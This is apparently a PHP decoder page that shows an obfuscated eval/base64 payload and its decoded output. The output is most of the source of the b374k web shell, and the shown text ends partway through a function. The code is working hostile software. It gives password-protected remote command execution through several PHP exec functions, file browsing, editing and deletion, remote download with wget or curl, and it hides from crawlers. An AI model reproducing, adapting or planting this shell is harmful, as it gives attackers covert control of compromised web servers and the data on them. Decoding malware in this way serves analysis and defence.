Find this useful? Enter your email to receive occasional updates for securing PHP code.
Signing you up...
Thank you for signing up!
PHP Decode
eval(gzuncompress(base64_decode("eNrsvQl74zayKPpXGB3fyBrZ1r6120607/uu7lx/FElJlLiJpNZ0/vvFw..
Decoded Output download
<?php $GLOBALS['module_to_load'] = array("explorer", "terminal", "eval", "convert", "database", "info", "mail", "network", "processes");?><?php $GLOBALS['resources']['b374k'] = "hVXZrrM4En6gjARhC8yoL9hXQ9gDd2xhJ5yw8/Tj/Oef7tPSSG3JwjZVXy1flZ0nc/Lvuk/KAhmH8j9pMhUU8a864CxnQ3W5fLFwmK5fiX4JV9xny9o8G32+Txphqs9CfjhSqDheisVojklHbHNcLDN17HJaGkpDHGhdFDpklnXd/aNwaGMgVWgoXoHVm2vqktW3PEmkD/Z7CBtSKFwVYXOX81wdh/mYNmh9uy2IWnNjLKB1cAYmEK+bjQWvxK+orA+8oiX9CB/f0dm1akNfVGEnrKGaM/na5bJYFvJ1SgdAFVAf+rRGvU999mkYoJFL16pSUlBmy+WJUVupTTGtU6XK9HlOSHG4FvwFHNcGCOKuChFmNCJqehEG3K0EDbuDmt4+06zR3RReV7N5HebBlir/ezZEeVe0Nm5G1xGjP/3Jeqe/u9orV5zNquk1x3PcGLLT6JkjPujd8lrSONnDONXDeED9+noWIYlGj3KG+s0PXDF+mE3WdzCGbk1r7ojliIpCbc0fNqPW6l85gHH+tAnPlt85WSKMmQ28qjKe3o2GXWHOiTTcl+wcIUec6XlonSgOmgmv1cBI6Od3roxffDJE9GBX4BKbgV1n4/jLZoY7bhxGjNpXaK6wlHEwS3b8yX+TYuhayNJmnOICeOYMlG6LXcaFMUH/teZTS3ENIE+QU2EUIOdVLjNHIDNrCjm1v/0vfbla4fmZyMymiqZn1uwrwLoF2sGzo/3WF6+m1XYL9KlKe7NzfZifT63w5JiENgVaRzIhx0CwCSCUB/AkCaCS4Ag5Z6LgtDx2N89Ysv3oBx60jwdzDLn5gdf+Hc//R7x7zdIffjwfpRw5OJJH3MVifMD8lL9zSCUheeayBLkKNAfG/pE3+g72xutwRB81m2gDTblZgroD3z9t3xRNVMTtE5CwfnGzDTgH1sP/8GBumjy8dung/MBz/o53/iPe+vHdwP9PLX5qlGd+1aPfOvK33He//eo/D/4XGCKTpSbBAlSVg+XT51mtIveF8kPtc+/oh+s7XKA0yVMyc1czK0m5FcizEtp3j9Uobo/VtFeRWwLVL9WirnUKcXlW93Szk17izDlPcX1EFbigsg1m4Bu3L7f8clGbN3VPcKlMC+WaGsjbLV5xpLikFwYn4nK/PwUux5s7Te7nMFjWuTxPwuXfN+fWDrpVEkUS5Ex458opjhDcjLNQQz05SfRiic/yxJYClJJ0GalwMFCLbU6gX550e9lKYn/sJnMVyGGiXy3NOwrpYvKrdGmF09vrvuSXhePUbezJ83DWELlMCqstgB6mN1DFTqlRJFHYXuoQS8VC57CK9a0j0aZJLwEtMql9hnM1CqajXPlsJmLrdJKyeyDCFF28zPzy/BwbK7F5Xa06LEld9yvNS5eEenjezdVXtzNGOeQowW+W0C5CpCdqTQ2rFy2snHfB5tLaxnjaATL3yDQw3ntK3pgFvqi3FeCPK7MNmeabrjgNujuF9XNHOT3yyrwS9lo0uWcT88uuFc0DDYnnO67Z2Iz9YA/06Nlnx6J76pWMd30jVPZGJDyv1qD4ioVxDtUloC8V2z4sSC9TJIZ5vFfrmY+EPCJSo3cjcFMDdBGWV3zCZ+Lga+VMThJhf7Wtqk8CO8uPgbFdr+pAL/ElXfq9aIzto2QY6WVupahhDceF44u7I/TE31hQI2KEiKvhc7bGjxbwGOxaCTKptWrZ3XMauYmqNLoVb4PhzUbTO0RLQ3T8zTOfK3wjk+6V52G/Lhhp7t65JjIFRMMJHjrilgb9VGKGbSbA6/4pfXGV29gx2755aq2/juOiGvnu325kquDsPUi7EG/wO6zHjEhlVTHv8G4hcjaT8nnqPPRmhdlaOYGmrsFcoggzVNpbBl9f4TlK6bWQoqUOnnnK8plsdesZ7WhmFVsSuPOx1BHp45oUpElV7XhhE/TYvfFXKszKl7t7TkzpzJO8l6zI9ki1soLaypb96wl3/cBydJKPVPWP/wI="; $GLOBALS['resources']['mime'] = "dZThdqMgEIX/7zn7DvMC2jZ62t3HmQgaGkepCDFvvxeNis32xx3huwMYmUkwSvcvRWMtIfz+Fbb5CeC0gsvp/Y1iSEARQZGAMoJyBZ9WN/Rpm7ADoUWNrEw+T7TIbmeJLemhgNCUu4EdH2EekLwh47Sd0DcN9fuBX95U19GIpq+RpN946FSudKXziyIfLlC4PHnSn02r4Un05cm3ca2Nnn3yXPRc9NyTN0+jFXV8pXDO63gmBimvw0hQiuJH8ENLMnmS0h8sl9mW74Nmdc9FK8O5vQeC0iyc7fP4kX3w8UUOWwQTekJY2U2fhWJYwZTVuBooAa0hKAXIaJMMibeZLhEeh95dmeQK51ooBJfYHe64axLgMnY1LZoOPPRngg7shneWbyQAhW9sAjvudgtg4cCWW+OQ/EDXmAxFZTTNMTFwjIvHsFemf2FlKyHEFZzZmYrYk+vUysQoQwg0D6480CBmM5dm4H2+tAC+HLoUioMCjYBnsWUtzcAUn85OK3aFELRNTXslhHW+1ek8RWlwLA8+2KYxI7fZzXTKke6Pawcm6IBGR9A3FJsPj4tKeesr3Y156E2lqQ029f5b2IzCPhzWeT1wjh/Q2vLP6yttox+SPsqPR1Ic/ZD0933dKY7SpMFYgla0dsr2SlPGjLvmKgGmRgGbWXNIvIprgnZQt1gew46StkmO2f4RCp9A1DKjlnk6MmHUfLLYdhk+a7tc+cBCww8mbsA3pkNx2j3hxmgr3up9EprkHw=="; $GLOBALS['resources']['arrow'] = "FZXHDqtYDIYfKCPRS2Z0F4cSem+BHfVQA6HD00+uF/Zny2XzSy7SNf23GVJYItMH/pelS0mT/zQhZ7kHqklwBD8zvaAWA/gj/m8KIA/iX+Du8jOjfwv8m1Oit/Gjxfs5XYSyR7wZ9sdiLPaiE7rxwYZvDz3z0G0fN9Pt1PqiDLuyRgzA7sVpo2NvL3Cdy6p1eSS3Um21eZqfW2uc6Xc9STYjG0E8zybZ3lxYrGLgmij6FTgD+oE1fHzRyB9IXpIFlT+6J8XARNRivqAELyNW694fBYKgdQ54i2RquOgoIwOqEpRK6G66qk4HjFCAWX9NRp5cU6hMsdvSQhiGCXr7Hmfyl/TaR9KwjDxldWNp9wx7zux2sY0uWUABDxUQWhoG2Dt8WlOYIuH8fjpej0l0Ag3k01AHYyLNNo7exzAS7jczTk5oogzNlETVL5g2TcLYQI7n5y+9dRXzgN4z19fKr4mPCsLm+Z4fhc9nFab7ORjMJSOarH0XxJM8bMHBKhENzgreEnB4RwFNgUb1wm6yMFd9syRt0rPChFJ4e7D2md63/czFE+B2LsNxEpkwZeLntSUuUyuCTZGb0bYMBi9PfT3ACaK/fYdUE8GzeuLXbI0WiI/zRT7snWMV7vXc0BLFwQvIfSYKjgtoIiKJO8reFV4ahnMA1JRdKx1HMiyyMoZnMgQX7W2Jb4/tudaDRtJOUgZY5FAFbpEnYQiABEU5E+XyKu3pqRizh676B29Ssyk1ZZcZwLKwlms5igcnOp1+1ekSSQK9Lv0S2ZnH92jrgEbjN0b9dO44OK4Z4mIc2VxoxxZepzO+WLzcJrra8wYG5RKqDNe3w+ODQnrPzk+OyZo+z8kL8HK3XNhcc7Cy92cVYW3WsVZpSzZCVEopMlUun/XlOFzTWnVpt8ShAFmZsxVB3sNWkvLAUSxdyhWMgea1yH4jJVBb3QaAFPrxU3v6VD7DsFpOCVxSwRZsTFsw6Ga1qFmVUxS3tV9WjJkhkxZAMaHLA7+0NJ7dy9abkmqhppR9oAYIJM9g3OHTD+8+wQtkYMCiHSxQxMEzWvkktKPzgskfd/F3m4WH09lAfUtThQ+JA2pMvbnJ6t8SLwdtzXvR47Ze0Z0VkC5F6c7eSxl6n8/pudIYGl89MitzIHEuXxVYD3J+qt9oQ4PJqsQjEOewetHZEUf8UCRYjHw7vmxoe0Bjtx59p4PftRrDqXDRXTLqQ1NGLVE613PVZmyaiRe6SnV9b8SCdA91B7a1hB8RS3xWHIXdY6T9TwCc0xRi3IZGTB74VSs6rLkrXVm0jVjjQNstEz3DCNOpVy3Xk91cVJxbaOKEbFvrQCy2fxSUzhanvPq5bmccNWTPG3UbMsXoPWSS5TTTvo/W8LsiZ6Sdzdm2qGSqJapvuncb/jlI1c4i60NN53TasogwL0a/GFnyF4lgiGXW2N7BNyL5EEyQA42LdZtao2S9f+reA04QDbaEQtRg0YRlb/E0ksyci4MM1HlVvvqQlz0aqMXesslvqz7Y4baL0WvNHvflRnLNxLR5IFfb9KrZT97Lotz8OFtJJj9ugSFhVYy9nzcuRvC+vbF6zdrWpYtPek+rxjaeMog4pvOIbJ3wOTQmFb3d/atN9HV7ZsuZFAIRngh0oVQKZXb+fgBOdQNKnDsVQvjnz/8="; ?><?php $GLOBALS['ver'] = "3.2.3"; $GLOBALS['title'] = "b374k"; @ob_start(); error_reporting(E_ERROR | E_WARNING | E_PARSE | E_NOTICE); @ini_set('html_errors','0'); @ini_set('display_errors','1'); @ini_set('display_startup_errors','1'); @ini_set('log_errors','0'); @set_time_limit(0); @clearstatcache(); if(!function_exists('auth')){ function auth(){ if(isset($GLOBALS['pass']) && (trim($GLOBALS['pass'])!='')){ $c = $_COOKIE; $p = $_POST; if(isset($p['pass'])){ $your_pass = sha1(md5($p['pass'])); if($your_pass==$GLOBALS['pass']){ setcookie("pass", $your_pass, time()+36000, "/"); header("Location: ".get_self()); } } if(!isset($c['pass']) || ((isset($c['pass'])&&($c['pass']!=$GLOBALS['pass'])))){ $res = "<!doctype html> <html> <head> <meta charset='utf-8'> <meta name='robots' content='noindex, nofollow, noarchive'> <meta name='viewport' content='width=device-width, initial-scale=1.0, maximum-scale=1.0, user-scalable=no, user-scalable=0'> </head> <body style='background:#f8f8f8;color:#000000;padding:0;margin:0;'><br><p><center><noscript>You need to enable javascript</noscript></center></p> <script type='text/javascript'> var d = document; d.write(\"<br><br><form method='post'><center><input type='password' id='pass' name='pass' style='font-size:34px;width:34%;outline:none;text-align:center;background:#ffffff;padding:8px;border:1px solid #cccccc;border-radius:8px;color:#000000;'></center></form>\"); d.getElementById('pass').focus(); d.getElementById('pass').setAttribute('autocomplete', 'off'); </script> </body></html> "; echo $res; die(); } } } } if(!function_exists('get_server_info')){ function get_server_info(){ $server_addr = isset($_SERVER['SERVER_ADDR'])? $_SERVER['SERVER_ADDR']:$_SERVER["HTTP_HOST"]; $server_info['ip_adrress'] = "Server IP : ".$server_addr." <span class='strong'>|</span> Your IP : ".$_SERVER['REMOTE_ADDR']; $server_info['time_at_server'] = "Time <span class='strong'>@</span> Server : ".@date("d M Y H:i:s",time()); $server_info['uname'] = php_uname(); $server_software = (getenv('SERVER_SOFTWARE')!='')? getenv('SERVER_SOFTWARE')." <span class='strong'>|</span> ":''; $server_info['software'] = $server_software." PHP ".phpversion(); return $server_info; } } if(!function_exists('get_self')){ function get_self(){ $query = (isset($_SERVER["QUERY_STRING"])&&(!empty($_SERVER["QUERY_STRING"])))?"?".$_SERVER["QUERY_STRING"]:""; return html_safe($_SERVER["REQUEST_URI"].$query); } } if(!function_exists('get_post')){ function get_post(){ return fix_magic_quote($_POST); } } if(!function_exists('get_nav')){ function get_nav($path){ return parse_dir($path); } } if(!function_exists('get_cwd')){ function get_cwd(){ $cwd = getcwd().DIRECTORY_SEPARATOR; if(!isset($_COOKIE['cwd'])){ setcookie("cwd", $cwd); } else{ $cwd_c = rawurldecode($_COOKIE['cwd']); if(is_dir($cwd_c)) $cwd = realpath($cwd_c).DIRECTORY_SEPARATOR; else setcookie("cwd", $cwd); } return $cwd; } } if(!function_exists('wrap_with_quotes')){ function wrap_with_quotes($str){ return "\"".$str."\""; } } if(!function_exists('get_resource')){ function get_resource($type){ if(isset($GLOBALS['resources'][$type])){ return gzinflate(base64_decode($GLOBALS['resources'][$type])); } return false; } } if(!function_exists('block_bot')){ function block_bot(){ if(isset($_SERVER['HTTP_USER_AGENT']) && (preg_match('/bot|spider|crawler|slurp|teoma|archive|track|snoopy|java|lwp|wget|curl|client|python|libwww/i', $_SERVER['HTTP_USER_AGENT']))){ header("HTTP/1.0 404 Not Found"); header("Status: 404 Not Found"); die(); } elseif(!isset($_SERVER['HTTP_USER_AGENT'])){ header("HTTP/1.0 404 Not Found"); header("Status: 404 Not Found"); die(); } } } if(!function_exists('is_win')){ function is_win(){ return (strtolower(substr(php_uname(),0,3)) == "win")? true : false; } } if(!function_exists('fix_magic_quote')){ function fix_magic_quote($arr){ $quotes_sybase = strtolower(ini_get('magic_quotes_sybase')); if(function_exists('get_magic_quotes_gpc') && get_magic_quotes_gpc()){ if(is_array($arr)){ foreach($arr as $k=>$v){ if(is_array($v)) $arr[$k] = clean($v); else $arr[$k] = (empty($quotes_sybase) || $quotes_sybase === 'off')? stripslashes($v) : stripslashes(str_replace("\'\'", "\'", $v)); } } } return $arr; } } if(!function_exists('execute')){ function execute($code){ $output = ""; $code = $code." 2>&1"; if(is_callable('system') && function_exists('system')){ ob_start(); @system($code); $output = ob_get_contents(); ob_end_clean(); if(!empty($output)) return $output; } elseif(is_callable('shell_exec') && function_exists('shell_exec')){ $output = @shell_exec($code); if(!empty($output)) return $output; } elseif(is_callable('exec') && function_exists('exec')){ @exec($code,$res); if(!empty($res)) foreach($res as $line) $output .= $line; if(!empty($output)) return $output; } elseif(is_callable('passthru') && function_exists('passthru')){ ob_start(); @passthru($code); $output = ob_get_contents(); ob_end_clean(); if(!empty($output)) return $output; } elseif(is_callable('proc_open') && function_exists('proc_open')){ $desc = array( 0 => array("pipe", "r"), 1 => array("pipe", "w"), 2 => array("pipe", "w")); $proc = @proc_open($code, $desc, $pipes, getcwd(), array()); if(is_resource($proc)){ while($res = fgets($pipes[1])){ if(!empty($res)) $output .= $res; } while($res = fgets($pipes[2])){ if(!empty($res)) $output .= $res; } } @proc_close($proc); if(!empty($output)) return $output; } elseif(is_callable('popen') && function_exists('popen')){ $res = @popen($code, 'r'); if($res){ while(!feof($res)){ $output .= fread($res, 2096); } pclose($res); } if(!empty($output)) return $output; } return ""; } } if(!function_exists('html_safe')){ function html_safe($str){ return htmlspecialchars($str, 2 | 1); } } if(!function_exists('parse_dir')){ function parse_dir($path){ $path = realpath($path).DIRECTORY_SEPARATOR; $paths = explode(DIRECTORY_SEPARATOR, $path); $res = ""; for($i = 0; $i < sizeof($paths)-1; $i++){ $x = ""; for($j = 0; $j <= $i; $j++) $x .= $paths[$j].DIRECTORY_SEPARATOR; $res .= "<a class='navbar' data-path='".html_safe($x)."'>".html_safe($paths[$i])." ".DIRECTORY_SEPARATOR." </a>"; } if(is_win()) $res = get_drives().$res; return trim($res); } } if(!function_exists('zip')){ function zip($files, $archive){ $status = false; if(!extension_loaded('zip')) return $status; if(class_exists("ZipArchive")){ $zip = new ZipArchive(); if(!$zip->open($archive, 1)) return $status; if(!is_array($files)) $files = array($files); foreach($files as $file){ $file = str_replace(get_cwd(), '', $file); $file = str_replace('\', '/', $file); if(is_dir($file)){ $filesIterator = new RecursiveIteratorIterator(new RecursiveDirectoryIterator($file), 1); foreach($filesIterator as $iterator){ $iterator = str_replace('\', '/', $iterator); if(in_array(substr($iterator, strrpos($iterator, '/')+1), array('.', '..'))) continue; if(is_dir($iterator)) $zip->addEmptyDir(str_replace($file.'/', '', $iterator.'/')); else if(is_file($iterator)) $zip->addFromString(str_replace($file.'/', '', $iterator), read_file($iterator)); } } elseif(is_file($file)) $zip->addFromString(basename($file), read_file($file)); } if($zip->getStatusString()!==false) $status = true; $zip->close(); } return $status; } } if(!function_exists('compress')){ function compress($type, $archive, $files){ if(!is_array($files)) $files = array($files); if($type=='zip'){ if(zip($files, $archive)) return true; else return false; } elseif(($type=='tar')||($type=='targz')){ $archive = basename($archive); $listsBasename = array_map("basename", $files); $lists = array_map("wrap_with_quotes", $listsBasename); if($type=='tar') execute("tar cf \"".$archive."\" ".implode(" ", $lists)); elseif($type=='targz') execute("tar czf \"".$archive."\" ".implode(" ", $lists)); if(is_file($archive)) return true; else return false; } return false; } } if(!function_exists('decompress')){ function decompress($type, $archive, $path){ $path = realpath($path).DIRECTORY_SEPARATOR; $status = false; if(is_dir($path)){ chdir($path); if($type=='unzip'){ if(class_exists('ZipArchive')){ $zip = new ZipArchive(); $target = $path.basename($archive,".zip"); if($zip->open($archive)){ if(!is_dir($target)) mkdir($target); if($zip->extractTo($target)) $status = true; $zip->close(); } } } elseif($type=='untar'){ $target = basename($archive,".tar"); if(!is_dir($target)) mkdir($target); $before = count(get_all_files($target)); execute("tar xf \"".basename($archive)."\" -C \"".$target."\""); $after = count(get_all_files($target)); if($before!=$after) $status = true; } elseif($type=='untargz'){ $target = ""; if(strpos(strtolower($archive), ".tar.gz")!==false) $target = basename($archive,".tar.gz"); elseif(strpos(strtolower($archive), ".tgz")!==false) $target = basename($archive,".tgz"); if(!is_dir($target)) mkdir($target); $before = count(get_all_files($target)); execute("tar xzf \"".basename($archive)."\" -C \"".$target."\""); $after = count(get_all_files($target)); if($before!=$after) $status = true; } } return $status; } } if(!function_exists('download')){ function download($url ,$saveas){ if(!preg_match("/[a-z]+:\/\/.+/",$url)) return false; $filename = basename($url); if($content = read_file($url)){ if(is_file($saveas)) unlink($saveas); if(write_file($saveas, $content)){ return true; } } $buff = execute("wget ".$url." -O ".$saveas); if(is_file($saveas)) return true; $buff = execute("curl ".$url." -o ".$saveas); if(is_file($saveas)) return true; $buff = execute("lwp-download ".$url." ".$saveas); if(is_file($saveas)) return true; $buff = execute("lynx -source ".$url." > ".$saveas); if(is_file($saveas)) return true; return false; } } if(!function_exists('get_fileperms')){ function get_fileperms($file){ if($perms = @fileperms($file)){ $flag = 'u'; if(($perms & 0xC000) == 0xC000)$flag = 's'; elseif(($perms & 0xA000) == 0xA000)$flag = 'l'; elseif(($perms & 0x8000) == 0x8000)$flag = '-'; elseif(($perms & 0x6000) == 0x6000)$flag = 'b'; elseif(($perms & 0x4000) == 0x4000)$flag = 'd'; elseif(($perms & 0x2000) == 0x2000)$flag = 'c'; elseif(($perms & 0x1000) == 0x1000)$flag = 'p'; $flag .= ($perms & 00400)? 'r':'-'; $flag .= ($perms & 00200)? 'w':'-'; $flag .= ($perms & 00100)? 'x':'-'; $flag .= ($perms & 00040)? 'r':'-'; $flag .= ($perms & 00020)? 'w':'-'; $flag .= ($perms & 00010)? 'x':'-'; $flag .= ($perms & 00004)? 'r':'-'; $flag .= ($perms & 00002)? 'w':'-'; $flag .= ($perms & 00001)? 'x':'-'; return $flag; } else return "???????????"; } } if(!function_exists('format_bit')){ function format_bit($size){ $base = log($size) / log(1024); $suffixes = array('B','KB','MB','GB','TB','PB','EB','ZB','YB'); return round(pow(1024, $base - floor($base)),2)." ".$suffixes[floor($base)]; } } if(!function_exists('get_filesize')){ function get_filesize($file){ $size = @filesize($file); if($size!==false){ if($size<=0) return 0; return format_bit($size); } else return "???"; } } if(!function_exists('get_filemtime')){ function get_filemtime($file){ return @date("d-M-Y H:i:s", filemtime($file)); } } if(!function_exists('get_fileowner')){ function get_fileowner($file){ $owner = "?:?"; if(function_exists("posix_getpwuid")){ $name = posix_getpwuid(fileowner($file)); $group = posix_getgrgid(filegroup($file)); $owner = $name['name'].":".$group['name']; } return $owner; } } if(!function_exists('rmdirs')){ function rmdirs($dir, $counter = 0){ if(is_dir($dir)) $dir = realpath($dir).DIRECTORY_SEPARATOR; if($dh = opendir($dir)){ while(($f = readdir($dh))!==false){ if(($f!='.')&&($f!='..')){ $f = $dir.$f; if(@is_dir($f)) $counter += rmdirs($f); else{ if(unlink($f)) $counter++; } } } closedir($dh); if(rmdir($dir)) $counter++;; } return $counter; } } if(!function_exists('copys')){ function copys($source , $target ,$c=0){ $source = realpath($source).DIRECTORY_SEPARATOR; if($dh = opendir($source)){ if(!is_dir($target)) mkdir($target); $target = realpath($target).DIRECTORY_SEPARATOR; while(($f = readdir($dh))!==false){ if(($f!='.')&&($f!='..')){ if(is_dir($source.$f)){ copys($source.$f, $target.$f, $c); } else{ if(copy($source.$f, $target.$f)) $c++; } } } closedir($dh); } return $c; } } if(!function_exists('get_all_files')){ function get_all_files($path){ $path = realpath($path).DIRECTORY_SEPARATOR; $files = glob($path.'*'); for($i = 0; $i<count($files); $i++){ if(is_dir($files[$i])){ $subdir = glob($files[$i].DIRECTORY_SEPARATOR.'*'); if(is_array($files) && is_array($subdir)) $files = array_merge($files, $subdir); } } return $files; } } if(!function_exists('read_file')){ function read_file($file){ $content = false; if($fh = @fopen($file, "rb")){ $content = ""; while(!feof($fh)){ $content .= fread($fh, 8192); } } return $content; } } if(!function_exists('write_file')){ function write_file($file, $content){ if($fh = @fopen($file, "wb")){ if(fwrite($fh, $content)!==false) return true; } return false; } } if(!function_exists('view_file')){ function view_file($file, $type, $preserveTimestamp='true'){ $output = ""; if(is_file($file)){ $dir = dirname($file); $owner = ""; if(!is_win()){ $owner = "<tr><td>Owner</td><td>".get_fileowner($file)."</td></tr>"; } $image_info = @getimagesize($file); $mime_list = get_resource('mime'); $mime = ""; $file_ext_pos = strrpos($file, "."); if($file_ext_pos!==false){ $file_ext = trim(substr($file, $file_ext_pos),"."); if(preg_match("/([^\s]+)\ .*".$file_ext.".*/i", $mime_list, $res)){ $mime = $res[1]; } } if($type=="auto"){ if(is_array($image_info)) $type = 'image'; elseif(!empty($mime)) $type = "multimedia"; else $type = "raw"; } $content = ""; if($type=="code"){ $hl_arr = array( "hl_default"=> ini_get('highlight.default'), "hl_keyword"=> ini_get('highlight.keyword'), "hl_string"=> ini_get('highlight.string'), "hl_html"=> ini_get('highlight.html'), "hl_comment"=> ini_get('highlight.comment') ); $content = highlight_string(read_file($file),true); foreach($hl_arr as $k=>$v){ $content = str_replace("<font color=\"".$v."\">", "<font class='".$k."'>", $content); $content = str_replace("<span style=\"color: ".$v."\">", "<span class='".$k."'>", $content); } } elseif($type=="image"){ $width = (int) $image_info[0]; $height = (int) $image_info[1]; $image_info_h = "Image type = <span class='strong'>(</span> ".$image_info['mime']." <span class='strong'>)</span><br> Image Size = <span class='strong'>( </span>".$width." x ".$height."<span class='strong'> )</span><br>"; if($width > 800){ $width = 800; $imglink = "<p><a id='viewFullsize'> <span class='strong'>[ </span>View Full Size<span class='strong'> ]</span></a></p>"; } else $imglink = ""; $content = "<center>".$image_info_h."<br>".$imglink." <img id='viewImage' style='width:".$width."px;' src='data:".$image_info['mime'].";base64,".base64_encode(read_file($file))."' alt='".$file."'></center> "; } elseif($type=="multimedia"){ $content = "<center> <video controls> <source src='' type='".$mime."'> </video> <p><span class='button' onclick=\"multimedia('".html_safe(addslashes($file))."');\">Load Multimedia File</span></p> </center>"; } elseif($type=="edit"){ $preservecbox = ($preserveTimestamp=='true')? " cBoxSelected":""; $content = "<table id='editTbl'><tr><td colspan='2'><input type='text' id='editFilename' class='colSpan' value='".html_safe($file)."' onkeydown=\"trap_enter(event, 'edit_save_raw');\"></td></tr><tr><td class='colFit'><span class='button' onclick=\"edit_save_raw();\">save</span></td><td style='vertical-align:middle;'><div class='cBox".$preservecbox."'></div><span>preserve modification timestamp</span><span id='editResult'></span></td></tr><tr><td colspan='2'><textarea id='editInput' spellcheck='false' onkeydown=\"trap_ctrl_enter(this, event, 'edit_save_raw');\">".html_safe(read_file($file))."</textarea></td></tr></table>"; } elseif($type=="hex"){ $preservecbox = ($preserveTimestamp=='true')? " cBoxSelected":""; $content = "<table id='editTbl'><tr><td colspan='2'><input type='text' id='editFilename' class='colSpan' value='".html_safe($file)."' onkeydown=\"trap_enter(event, 'edit_save_hex');\"></td></tr><tr><td class='colFit'><span class='button' onclick=\"edit_save_hex();\">save</span></td><td style='vertical-align:middle;'><div class='cBox".$preservecbox."'></div><span>preserve modification timestamp</span><span id='editHexResult'></span></td></tr><tr><td colspan='2'><textarea id='editInput' spellcheck='false' onkeydown=\"trap_ctrl_enter(this, event, 'edit_save_hex');\">".bin2hex(read_file($file))."</textarea></td></tr></table>"; } else $content = "<pre>".html_safe(read_file($file))."</pre>"; $output .= " <table id='viewFile' class='boxtbl'> <tr><td style='width:120px;'>Filename</td><td>".html_safe($file)."</td></tr> <tr><td>Size</td><td>".get_filesize($file)." (".filesize($file).")</td></tr> ".$owner." <tr><td>Permission</td><td>".get_fileperms($file)."</td></tr> <tr><td>Create time</td><td>".@date("d-M-Y H:i:s",filectime($file))."</td></tr> <tr><td>Last modified</td><td>".@date("d-M-Y H:i:s",filemtime($file))."</td></tr> <tr><td>Last accessed</td><td>".@date("d-M-Y H:i:s",fileatime($file))."</td></tr> <tr data-path='".html_safe($file)."'><td colspan='2'> <span class='navigate button' style='width:120px;'>explorer</span> <span class='action button' style='width:120px;'>action</span> <span class='button' style='width:120px;' onclick=\"view('".html_safe(addslashes($file))."', 'raw');hide_box();\">raw</span> <span class='button' style='width:120px;' onclick=\"view('".html_safe(addslashes($file))."', 'code');hide_box();\">code</span> <span class='button' style='width:120px;' onclick=\"view('".html_safe(addslashes($file))."', 'hex');hide_box();\">hex</span> <span class='button' style='width:120px;' onclick=\"view('".html_safe(addslashes($file))."', 'image');hide_box();\">image</span> <span class='button' style='width:120px;' onclick=\"view('".html_safe(addslashes($file))."', 'multimedia');hide_box();\">multimedia</span> </td></tr> <tr><td colspan='2'><div id='viewFilecontent'>".$content."</div></td></tr> </table>"; } else $output = "error"; return $output; } } if(!function_exists('get_writabledir')){ function get_writabledir(){ if(is_writable(".")) return realpath(".").DIRECTORY_SEPARATOR; else{ foreach(array('TMP', 'TEMP', 'TMPDIR') as $k){ if(!empty($_ENV[$k])){ if(is_writable($_ENV[$k])) return realpath($_ENV[$k]).DIRECTORY_SEPARATOR; } } if(function_exists("sys_get_temp_dir")){ $dir = sys_get_temp_dir(); if(is_writable($dir)) return realpath($dir).DIRECTORY_SEPARATOR; } else{ if(!is_win()){ if(is_writable("/tmp")) return "/tmp/"; } } $tempfile = tempnam(__FILE__,''); if(file_exists($tempfile)){ $dir = realpath(dirname($tempfile)).DIRECTORY_SEPARATOR; unlink($tempfile); return $dir; } } return false; } } if(!function_exists('get_drives')){ function get_drives(){ $drives = ""; $v = explode("\", get_cwd()); $v = $v[0]; foreach (range("A", "Z") as $letter){ if(@is_readable($letter.":\")){ $drives .= "<a class='navbar' data-path='".$letter.":\'>[ "; if($letter.":" != $v) $drives .= $letter; else{$drives .= "<span class='drive-letter'>".$letter."</span>";} $drives .= " ]</a> "; } } return $drives; } } if(!function_exists('show_all_files')){ function show_all_files($path){ if(!is_dir($path)) return "No such directory : ".$path; chdir($path); $output = ""; $allfiles = $allfolders = array(); if($res = opendir($path)){ while($file = readdir($res)){ if(($file!='.')&&($file!="..")){ if(is_dir($file)) $allfolders[] = $file; elseif(is_file($file))$allfiles[] = $file; } } } array_unshift($allfolders, "."); $cur = getcwd(); chdir(".."); if(getcwd()!=$cur) array_unshift($allfolders, ".."); chdir($cur); natcasesort($allfolders); natcasesort($allfiles); $cols = array(); if(is_win()){ $cols = array( "perms"=>"get_fileperms", "modified"=>"get_filemtime" ); } else{ $cols = array( "owner"=>"get_fileowner", "perms"=>"get_fileperms", "modified"=>"get_filemtime" ); } $totalFiles = count($allfiles); $totalFolders = 0; $output .= "<table id='xplTable' class='dataView sortable'><thead>"; $output .= "<tr><th class='col-cbox sorttable_nosort'><div class='cBoxAll'></div></th><th class='col-name'>name</th><th class='col-size'>size</th>"; foreach($cols as $k=>$v){ $output .= "<th class='col-".$k."'>".$k."</th>"; } $output .= "</tr></thead><tbody>"; foreach($allfolders as $d){ $cboxException = ""; if(($d==".")||($d=="..")){ $action = "actiondot"; $cboxException = " cBoxException"; } else{ $action = "actionfolder"; $totalFolders++; } $output .= " <tr data-path=\"".html_safe(realpath($d).DIRECTORY_SEPARATOR)."\"><td><div class='cBox".$cboxException."'></div></td> <td style='white-space:normal;'><a class='navigate'>[ ".html_safe($d)." ]</a><span class='".$action." floatRight'>action</span></td> <td>DIR</td>"; foreach($cols as $k=>$v){ $sortable = ""; if($k=='modified') $sortable = " title='".filemtime($d)."'"; $output .= "<td".$sortable.">".$v($d)."</td>"; } $output .= "</tr>"; } foreach($allfiles as $f){ $output .= " <tr data-path=\"".html_safe(realpath($f))."\"><td><div class='cBox'></div></td> <td style='white-space:normal;'><a class='view'>".html_safe($f)."</a><span class='action floatRight'>action</span></td> <td title='".filesize($f)."'>".get_filesize($f)."</td>"; foreach($cols as $k=>$v){ $sortable = ""; if($k=='modified') $sortable = " title='".filemtime($f)."'"; $output .= "<td".$sortable.">".$v($f)."</td>"; } $output .= "</tr>"; } $output .= "</tbody><tfoot>"; $colspan = 1 + count($cols); $output .= "<tr><td><div class='cBoxAll'></div></td><td> <select id='massAction' class='colSpan'> <option disabled selected>Action</option> <option>cut</option> <option>copy</option> <option>paste</option> <option>delete</option> <option disabled>------------</option> <option>chmod</option> <option>chown</option> <option>touch</option> <option disabled>------------</option> <option>extract (tar)</option> <option>extract (tar.gz)</option> <option>extract (zip)</option> <option disabled>------------</option> <option>compress (tar)</option> <option>compress (tar.gz)</option> <option>compress (zip)</option> <option disabled>------------</option> </select> </td><td colspan='".$colspan."'></td></tr> <tr><td></td><td colspan='".++$colspan."'>".$totalFiles." file(s), ".$totalFolders." Folder(s)<span class='xplSelected'></span></td></tr> "; $output .= "</tfoot></table>"; return $output; } } if(!function_exists('eval_get_supported')){ function eval_get_supported(){ $eval_supported = array(); $eval_supported[] = "php"; $check = strtolower(execute("python -h")); if(strpos($check,"usage")!==false) $eval_supported[] = "python"; $check = strtolower(execute("perl -h")); if(strpos($check,"usage")!==false) $eval_supported[] = "perl"; $check = strtolower(execute("ruby -h")); if(strpos($check,"usage")!==false) $eval_supported[] = "ruby"; $check = 